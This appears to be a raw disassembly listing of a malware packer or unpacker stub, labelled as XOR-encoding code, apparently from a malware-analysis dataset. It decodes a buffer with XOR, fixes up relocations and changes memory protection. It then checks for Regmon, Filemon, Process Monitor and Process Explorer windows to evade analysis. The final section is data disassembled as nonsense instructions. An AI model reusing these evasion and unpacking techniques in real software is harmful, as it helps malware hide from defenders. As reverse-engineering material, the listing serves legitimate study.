Function at 0x106ab72
Capabilities:
Encode data using xor

Disassembly:
pop eax
add eax, 0xb
mov dword [ebx], eax
jmp 0x106ab62
call 0x106ab72
jno 0x106abcc
inc esi
out dx, eax
arpl word [0xdb8d1ae9], bx
pushal
mov si, di
or bx, 0x6235
popal
pop edx
mov bx, 0xf2e8
sti
add edx, 0xe839
pushal
push edi
movzx eax, si
pop ebx
popal
sti
mov edi, 0
jmp 0x106abae
push dword [edi + edx]
mov bx, 0x5ab2
pop ecx
mov si, di
add ecx, 0x3270d566
mov ebx, esi
sub ecx, 0x13207529
mov si, 0x4dca
add ecx, 0x4f50f6cb
ror ebx, 0xf6
push eax
dec edi
sub si, 0x8e75
push ecx
pop dword [edx + edi]
jmp 0x106abe8
jge 0x106abf2
mov bx, 0x2777
sub edi, 0x5929e165
jmp 0x106ac02
add edi, 0x5929e161
jmp 0x106ac1f
cmp edi, 0xffff18bc
jne 0x106ac46
mov ax, 0xa793
sti
jmp 0x106ac60
mov ebx, eax
jmp 0x106abae
cmp dword [ebp + 0x122d0a1d], 0
je 0x106ac77
mov dword [ebp + 0x122d3a04], 1
mov eax, dword [ebp + 0x122d1479]
mov esi, eax
mov ecx, dword [esi + 0x3c]
add esi, ecx
mov ecx, 0x400000
mov dword [ebp + 0x1247aa4c], ecx
mov edi, dword [ebp + 0x122d3968]
test edi, edi
jne 0x106aca2
jmp 0x106ade3
mov esi, edi
mov ecx, 0x4c84
lodsb al, byte [esi]
xor al, 0x37
stosb byte es:[edi], al
dec ecx
jne 0x106aca9
mov ecx, dword [ebp + 0x122d3968]
mov edi, dword [ebp + 0x122d1479]
mov esi, dword [ebp + 0x1247aa4c]
cmp edi, esi
jne 0x106acd3
jmp 0x106add4
mov eax, dword [ecx]
mov edx, dword [ecx + 4]
sub dword [ebp + 0x122d0c25], edx
sub edx, 8
add ecx, 8
add eax, edi
pushal
mov ebx, eax
push ebx
push 0x1000
push ebx
call dword [ebp + 0x122d28f3]
pop ebx
test eax, eax
je 0x106ad14
lea eax, [ebp + 0x12469d71]
push eax
push 0x40
push 0x1000
push ebx
call dword [ebp + 0x122d2eb3]
popal
mov bx, word [ecx]
test bx, 0xf000
je 0x106adbb
and ebx, 0xfff
add ebx, eax
cmp dword [ebp + 0x122d39f8], 1
jne 0x106ad51
cmp byte [ebx - 2], 0xe8
jne 0x106ad51
cmp byte [ebx + 3], 0x90
jne 0x106ad51
jmp 0x106adbb
cmp byte [ebx - 1], 0xc5
jne 0x106ad7e
cmp dword [ebp + 0x122d3a10], 0
je 0x106ad7e
cmp dword [ebp + 0x122d0519], 0
je 0x106ad7e
mov byte [ebx - 1], 0xe9
jmp 0x106adbb
cmp dword [ebp + 0x122d0a1d], 0
je 0x106adab
cmp byte [ebx - 1], 0xc5
jne 0x106adab
cmp dword [ebp + 0x122d3a10], 0
je 0x106adab
mov byte [ebx - 1], 0xe9
jmp 0x106adbb
cmp dword [ebx], 0x90909090
je 0x106adbb
sub dword [ebx], esi
add dword [ebx], edi
add ecx, 2
sub edx, 2
jne 0x106ad15
cmp dword [ebp + 0x122d0c25], 0
jne 0x106acd3
mov edi, dword [ebp + 0x122d3968]
mov ecx, 0x4c84
xor al, al
rep stosb byte es:[edi], al
mov edx, 0x286299f6
mov edi, dword [ebp + 0x122d0ae9]
mov ecx, 0x79
lea esi, [ebp + 0x1253e236]
rep movsb byte es:[edi], byte [esi]
xor edx, 0x28634112
mov edi, dword [ebp + 0x122d0ae9]
add edi, 0xe
test edx, edx
je 0x106ae18
add edx, dword [ebp + 0x122d1479]
mov dword [edi + 1], edx
mov edx, dword [ebp + 0x122d1cd6]
mov edi, dword [ebp + 0x122d0ae9]
add edi, 0x54
mov dword [edi + 1], edx
mov edi, dword [ebp + 0x122d0ae9]
add edi, 0x49
mov dword [edi + 1], ebp
mov edi, dword [ebp + 0x122d0ae9]
add edi, 0x25
mov dword [edi + 1], ebp
jmp 0x106aec3
mov eax, edx
jmp 0x106aee6
rol byte [edi], 0
add ch, cl
loop 0x106af40
adc al, byte [eax]
je 0x106aefa
jmp 0x106b095
lea eax, [ebp + 0x1253e2d2]
push eax
push 0
push 0
lea eax, [ebp + 0x1253e30d]
push eax
push 0
push 0
call dword [ebp + 0x122d3ac0]
call dword [ebp + 0x122d3362]
jmp 0x106b095
call 0x106af26
pop ebp
sub ebp, 0x1253e312
push 0xfa0
call dword [ebp + 0x122d22dc]
lea esi, [ebp + 0x1253e2b3]
mov dword [esi], 0x6d676552
push edx
insd dword es:[di], dx
mov dword [esi + 4], 0x6c636e6f
mov dword [esi + 8], 0x737361
push 0
lea eax, [ebp + 0x1253e2b3]
push eax
call dword [ebp + 0x122d2e95]
test eax, eax
je 0x106af6e
jmp 0x106b08a
push 0x12c
call dword [ebp + 0x122d22dc]
lea esi, [ebp + 0x1253e2b3]
mov dword [esi], 0x36343831
mov dword [esi + 4], 0x31342d37
mov dword [esi + 8], 0
push 0
lea eax, [ebp + 0x1253e2b3]
push eax
call dword [ebp + 0x122d2e95]
test eax, eax
je 0x106afaf
jmp 0x106b08a
push 0x12c
call dword [ebp + 0x122d22dc]
lea esi, [ebp + 0x1253e2b3]
mov dword [esi], 0x656c6946
mov dword [esi + 4], 0x636e6f6d
mov dword [esi + 8], 0x7373616c
mov dword [esi + 0xc], 0
push 0
lea eax, [ebp + 0x1253e2b3]
push eax
call dword [ebp + 0x122d2e95]
test eax, eax
je 0x106aff7
jmp 0x106b08a
lea esi, [ebp + 0x1253e2b3]
mov dword [esi], 0x434f5250
mov dword [esi + 4], 0x5f4e4f4d
mov dword [esi + 8], 0x444e4957
mov dword [esi + 0xc], 0x435f574f
mov dword [esi + 0x10], 0x5353414c
mov dword [esi + 0x14], 0
push 0
lea eax, [ebp + 0x1253e2b3]
push eax
call dword [ebp + 0x122d2e95]
test eax, eax
je 0x106b042
jmp 0x106b08a
cmp dword [ebp + 0x1253e2ce], 0
je 0x106b085
lea esi, [ebp + 0x1253e2b3]
mov dword [esi], 0x434f5250
mov dword [esi + 4], 0x4c505845
mov dword [esi + 8], 0
push 0
lea eax, [ebp + 0x1253e2b3]
push eax
call dword [ebp + 0x122d2e95]
test eax, eax
je 0x106b085
jmp 0x106b08a
jmp 0x106af21
mov eax, 0
jmp dword [ebp + 0x122d1cd6]
adc cl, byte [ecx + 0x3de9c8]
add byte [eax], al
pushal
mov edi, dword [ebp + 0x1246cfdc]
sub edi, 4
xor ecx, ecx
mov eax, ecx
jmp 0x106b0d9
mov eax, ecx
mov ebx, 0xedb88320
add edi, 4
mov esi, 8
shr eax, 1
sbb edx, edx
and edx, ebx
xor eax, edx
dec esi
jne 0x106b0b7
add ecx, 1
mov dword [edi], eax
cmp ecx, 0x100
jb 0x106b0a8
popal
ret
mov ecx, eax
lea eax, [ebp + 0x1253e488]
mov dword [ebp + 0x124b099f], eax
or dword [ebx + 0x12], ecx
push ebp
in eax, dx
std
jne 0x106b14a
pop esi
jp 0x106b0e4
jbe 0x106b094
imul esp, esi, 0xfd49bc56
pushal
push edx
jl 0x106b0f6
invalid
pop edi
loopne 0x106b1a1
jl 0x106b122
cld
mov eax, 0x99fc7c2b
cdq
leave
jl 0x106b12a
jp 0x106b0e7
jl 0x106b12e
push cs
jl 0x106b132
mov dl, byte [ebx + 0x7c]
cld
popfd
and eax, 0x2295358a
mov byte [0x714a76d6], al
ficomp word [ebp + edi*4 + 0x4b]
mov ebp, 0x5a5cf44b
hlt
pop esp
pop edx
jp 0x106b14b
jne 0x106b177
jb 0x106b147
jne 0x106b0eb
xchg edi, eax
jns 0x106b153
je 0x106b123
retf
js 0x106b157
jae 0x106b149
jge 0x106b153
je 0x106b153
jnp 0x106b15e
je 0x106b1dc
jnp 0x106b162
jne 0x106b124
mov esp, 0x5e75fd7a
jp 0x106b167
jne 0x106b1ca
pop esi
jp 0x106b16b
jbe 0x106b1ca
sar esi, 0x74
clc
invalid
retf
les ebp, [eax + 0x70]
invalid
jo 0x106b193
inc esi
xchg ebx, eax
scasb al, byte es:[edi]
xor eax, 0xd90e3ff
push 0x92b0f070
scasb al, byte es:[edi]
push ds
call [ebx]
xchg ecx, eax
cwde
push 0x92bbf070
scasb al, byte es:[edi]
jnp 0x106b1c0
call dword [edi]
pop ss
xchg ecx, eax
sub ch, byte [eax + 0x70]
invalid
xlatb
call dword [ebx]
xchg ecx, eax
jl 0x106b239
jo 0x106b1c3
cdq
popfd
scasb al, byte es:[edi]
inc edx
dec dword [edi]
xchg ecx, eax
mov dh, 0x68
jo 0x106b1cf
push 0x9dd6f070
salc
popfd
scasb al, byte es:[edi]
lock dec dword [bp + di]
xchg ecx, eax
out dx, eax
push 0x9d21f070
scasb al, byte es:[edi]
cmpsb byte [si], byte es:[di]
invalid
sub ch, byte [eax + 0x70]
invalid
jl 0x106b299
jo 0x106b223
insb byte es:[edi], dx
popfd
scasb al, byte es:[edi]
inc edx
jmp edi
out 0x90, eax
mov dh, 0x68
jo 0x106b22f
mov dh, 0x92
scasb al, byte es:[edi]
invalid
les ebp, [eax + 0x70]
invalid
mov al, 0xf1
adc dword [ebp + 0x75fd7af2], ebx
and edi, ebx
pop ss
sbb bl, byte [edx + 0x29]
out dx, eax
and eax, 0xfdf53fd5
lodsd eax, dword [esi]
and byte [eax], bl
test dword es:[edx], esp
xor al, 0xb7
iretd
lodsb al, byte [esi]
and esi, dword [edi + 0x1a20ad29]
jp 0x106b29f
sbb bh, byte [edx - 3]
jne 0x106b31d
daa
jl 0x106b23f
sub al, 0x9c
scasb al, byte es:[edi]
mov al, byte [0x1cff]
xchg ecx, eax
jl 0x106b319
mov al, byte [0x7c911cff]
push 0x9e76c87d
jge 0x106b27b
jbe 0x106b253
scasb al, byte es:[edi]
iretd
test edi, esi
dec eax
xchg edi, eax
das
sub edi, ebp
clc
sar esp, 1
push eax
mov ah, byte [edx]
and ebx, dword [edi]
mov esp, 0x911cf787
out dx, eax
push 0x20052da0
mov dword [0x6d92ec2c], eax
ja 0x106b2ab
jp 0x106b363
int 0xc1
jns 0x106b371
push edi
mov dh, byte [eax + 0x21]
sbb byte [esi], ah
loopne 0x106b2f2
popfd
pop es
js 0x106b323
jne 0x106b302
ret 0xcd9b
jns 0x106b38e
adc eax, 0xfd7abe4e
das
mov al, byte gs:[0x59a57b89]
cmp eax, 0xdf709491
cmc
pop es
mov edx, 0xd183fe4d
popfd
add byte [ebx - 3], bh
jne 0x106b3ae
xchg edx, eax
loope 0x106b3fe
mov esp, 0x844ea77a
push cs
adc al, ch
dec ecx
rcl byte [esi]
lds ecx, [ecx - 0x30]
push ss
test eax, 0x75fca77f
retf
cld
jne 0x106b363
invalid
push 0x913d59a5
xchg esp, eax
jo 0x106b395
cmc
pop es
mov edx, 0x85b5ff4d
push 0xef29172e
das
pop ds
pop edi
std
push ecx
fidiv dword [ecx + 0x3f]
adc esi, ebp
mov ecx, 0x9285e94d
mov ebp, 0x4d7a9774
hlt
popfd
inc ebx
jnp 0x106b3fb
jne 0x106b41a
dec esp
std
jne 0x106b47d
sbb al, 0x56
popfd
mov dh, 0x7b
std
jne 0x106b3fa
out 0x57, eax
mov dh, 0x9f
out 0x57, al
popfd
imul edi, dword [edx - 3], 0xfcf32375
jne 0x106b401
invalid
wait
int 0xfd
dec ebx
wait
ficom word [ecx + 0x438a036b]
retf 0xdfa7